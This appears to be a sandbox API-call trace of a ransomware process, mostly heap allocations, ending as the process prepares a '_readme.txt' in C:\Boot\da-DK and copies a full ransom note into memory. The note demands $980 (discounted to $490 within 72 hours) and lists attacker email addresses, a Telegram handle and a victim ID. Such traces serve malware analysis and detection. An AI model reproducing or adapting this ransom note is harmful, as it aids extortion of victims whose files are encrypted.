1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.514] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.514] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.515] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.515] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.516] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.516] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.517] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.517] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.518] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.518] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.520] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.520] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0119.520] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.521] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.521] PathFindFileNameW (pszPath="") returned="" [0119.521] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.521] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.521] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.521] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.521] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.521] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.521] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.521] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.521] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x81c) returned 0x307fdd8 [0119.521] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0119.521] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.521] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.521] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0119.522] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.522] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is 